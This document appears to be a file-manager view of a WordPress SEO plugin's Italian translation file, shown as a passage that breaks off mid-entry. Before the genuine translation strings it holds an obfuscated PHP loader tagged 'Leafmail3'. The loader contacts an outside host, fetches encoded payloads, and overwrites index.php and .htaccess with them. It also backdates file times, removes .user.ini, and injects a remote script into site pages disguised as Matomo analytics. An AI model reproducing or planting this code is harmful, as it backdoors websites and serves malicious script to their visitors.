trAvis - MANAGER
Edit File: all-in-one-seo-pack-it_IT.l10n.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php return ['x-generator'=>'GlotPress/4.0.1','translation-revision-date'=>'2024-08-13 09:20:59+0000','plural-forms'=>'nplurals=2; plural=n != 1;','project-id-version'=>'Plugins - All in One SEO – Powerful SEO Plugin to Boost SEO Rankings & Increase Traffic - Stable (latest release)','language'=>'it','messages'=>['View full list'=>'Visualizza l\'elenco completo','Used'=>'Usato','Rear Wheel Drive'=>'Trazione posteriore','Pros and cons include'=>'I pro e i contro includono','Product Review'=>'Recensione del prodotto','New'=>'Nuovo','Miles'=>'Miglia','Kilometers'=>'Chilometri','Front Wheel Drive'=>'Trazione anteriore','Four Wheel Drive'=>'Quattro ruote motrici','Car'=>'Auto','All Wheel Drive'=>'Trazione integrale','Unlock AI Generator'=>'Sblocca il generatore di IA','Neutral Sentiment'=>'Sentimento neutrale','Goal:'=>'Obiettivo:','%1$s has detected that you are blocking access to search engines, which will prevent your site from ranking in search results. You can re-enable indexing under %2$sSettings > Reading →%3$s'=>'%1$s ha rilevato che stai bloccando l\'accesso ai motori di ricerca, il che impedirà al tuo sito di posizionarsi nei risultati della ricerca. Puoi riattivare l\'indicizzazione in %2$sImpostazioni > Lettura →%3$s','(discount auto-applied)'=>'(sconto applicato automaticamente)','save 60% off'=>'ottenere uno sconto del 60%','You can upgrade to the Pro plan today and '=>'Puoi passare al piano Pro oggi stesso e ','Bonus:'=>'Bonus:','Set custom SEO meta, social meta and more for individual terms.'=>'Imposta meta SEO personalizzati, meta social e altro ancora per i singoli termini.','Custom Taxonomies are a PRO Feature'=>'Le tassonomie personalizzate sono una caratteristica PRO','AIOSEO Settings'=>'Impostazioni di AIOSEO','Search Engines Blocked!'=>'Motori di ricerca bloccati!','Follow on X (Twitter)'=>'Segui su X (Twitter)','You can find more information about RSS Sitemaps at %1$ssitemaps.org%2$s.'=>'Puoi trovare maggiori informazioni sulle sitemap RSS su %1$ssitemaps.org%2$s.','this is an RSS Sitemap, meant to be consumed by search engines like Google or Bing.'=>'si tratta di una Sitemap RSS, destinata ai motori di ricerca come Google o Bing.','Yearly'=>'Annuale','Weekly'=>'Settimanale','Use Range'=>'Gamma di utilizzo','To'=>'A','Subscription'=>'Abbonamenti','Partially Free'=>'Parzialmente gratuito','Parsing Block Data...'=>'Parsing dei dati dei blocchi...','Paid'=>'Pagato','Our Local SEO addon enables you to tell Google about your business (name, address, opening hours, contact info & more) and further enhances your Knowledge Graph schema markup.'=>'Il nostro add-on Local SEO ti abilita a fornire a Google informazioni sulla tua attività (nome, indirizza, orari di apertura, maggiori informazioni) e migliora ulteriormente il markup dello schema Knowledge Graph.','Organization Description'=>'Descrizione dell\'organizzazione','Onsite'=>'In loco','Number of Employees'=>'Numero di dipendenti','Monthly'=>'Mensile','From'=>'Da','Founding Date'=>'Data di fondazione','Enter the primary phone number for your business. Don’t have a business phone number? %1$sSee this guide on how to get one.%2$s'=>'Inserisci il numero di telefono principale della tua attività. Non hai un numero di telefono aziendale? %1$sConsulta questa guida su come ottenerlo.%2$s','Daily'=>'Giornaliero','Configure Local SEO'=>'Configura la SEO locale','Blended'=>'Miscela','Network Activated'=>'Rete attivata','An error occurred while changing the addon status. Please try again or contact support for more information.'=>'Si è verificato un errore durante la modifica dello stato dell\'add-on. Prova di nuovo o contatta l\'assistenza per maggiori informazioni.','Your site is connected directly to Google Search Console and your sitemaps are in sync.'=>'Il tuo sito è collegato direttamente a Google Search Console e le tue sitemap sono sincronizzate.','Upgrade to Pro to unlock Search Statistics and sync your site with Google Search Console. Get valuable insights right inside your WordPress dashboard, track keyword rankings and search performance for individual posts with actionable insights to help you rank higher in search results!'=>'Passa a Pro per sbloccare le statistiche di ricerca e sincronizzare il tuo sito con Google Search Console. Ottieni preziose informazioni all\'interno della tua bacheca di WordPress, traccia le posizioni delle parole chiave e i risultati della ricerca per i singoli articoli con informazioni utili per aiutarti a posizionarti meglio nei risultati della ricerca!','Top Content Discovery'=>'Top Content Discovery','There are sitemaps with errors'=>'Ci sono sitemap con errori','Sitemap Errors'=>'Errori della sitemap','SEO Changes Performance Tracking'=>'Monitoraggio delle prestazioni delle modifiche SEO','Search Console'=>'Search Console','Quickly verify ownership in Google Search Console and automatically submit sitemaps with one click. Speed up indexing, increase visibility and optimize your site\'s performance to effortlessly attract more organic traffic.'=>'Verifica rapidamente la proprietà in Google Search Console e invia automaticamente le sitemap con un solo clic. Accelera l\'indicizzazione, aumenta la visibilità e ottimizza le prestazioni del tuo sito per attirare senza sforzo più traffico organico.','Ignore'=>'Ignora','Google Search Console Metrics'=>'Metriche di Google Search Console','Google Search Console is Connected.'=>'Google Search Console è collegato.','Fix Errors'=>'Correggi gli errori','Content Decay Tracking'=>'Tracciamento del decadimento dei contenuti','Connect Your Site to Google Search Console'=>'Collega il tuo sito a Google Search Console','Connect to Google to automatically add sitemaps and keep them in sync.'=>'Collegati a Google per aggiungere automaticamente le sitemap e mantenerle sincronizzate.','Are you sure you want to disconnect Google Search Console?'=>'Confermi di voler disconnettere Google Search Console?','All errors have been resolved'=>'Tutti gli errori sono stati corretti','%1$s has found some errors in sitemaps that were previously submitted to Google Search Console. Since %1$s manages your sitemaps, these additional sitemaps can be removed.'=>'%1$s ha trovato alcuni errori nelle sitemap precedentemente inviate a Google Search Console. Poiché %1$s gestisce le tue sitemap, queste sitemap aggiuntive possono essere rimosse.','Fix Sitemap Errors'=>'Correzione degli errori della Sitemap','We detected that your sitemap has errors. The last fetch was on %1$s. Click below to resolve this issue.'=>'Abbiamo rilevato che la tua sitemap presenta degli errori. L\'ultima lettura è stata %1$s. Fai clic qui sotto per risolvere il problema.','Your sitemap has errors.'=>'La tua sitemap presenta degli errori.','Reconnect Google Search Console'=>'Ricollega Google Search Console','We detected that your site has been removed from Google Search Console. If this was done in error, click below to re-sync and resolve this issue.'=>'Abbiamo rilevato che il tuo sito è stato 